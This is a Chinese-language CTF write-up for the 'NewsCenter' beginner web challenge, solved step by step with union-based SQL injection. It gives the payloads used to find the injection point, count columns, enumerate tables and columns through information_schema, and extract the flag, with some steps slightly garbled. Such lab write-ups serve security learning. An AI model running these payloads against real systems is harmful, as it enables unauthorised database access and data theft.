攻防世界 web新手 NewsCenter
进入题目环境,只有一个搜索框,与一个回显框(极度简化我的描述),猜测是sql,于是挑了一个关键词Hello,开始尝试。
1.首先构造了一个语句检测是否有注入点:Hello’ or 1=1#
结果:所用新闻回显,证明存在注入点
2.那就正式开始注入:
(1) 检测列数:Hello’ order by 3 #(ps:那个3,是通过1,2,3一点点得到的,改成4,就出错了,不知道有没有更好的办法)
(2) 检测回显位置:Hello’union select 1,2,3 #(ps:根据3列构造的语句)结果显示竖着排列的2 3,证明在2 3位置回显
(ps:其实这道题做的时候,对着书跟着做的,结果忘记检测列数与回显位置了,然后构造的语句只有一列,疯狂出错,人都傻了(━┳━ ━┳━))
(3) 注入表名:Hello’ union select 1,union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
得到结果为 news,secret_table
3
(ps:1.information_schema是默认数据库,储存着所有数据库名、表名。
2.group_concat是用“,”连接结果并显示在一个字段的函数。
3.database()返回当前数据库的名称)
(4) 猜测flag在secret_table中,
注入字段名:Hello’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’secret_table’ #
得到结果 id,fl4g
3
(5) 查看内容:union select 1,fl4g,3 from secret_table #
得到结果 QCTF{sq1_inJec7ion_ezzz}
(ps:图床出问题了(/(ㄒoㄒ)/~~))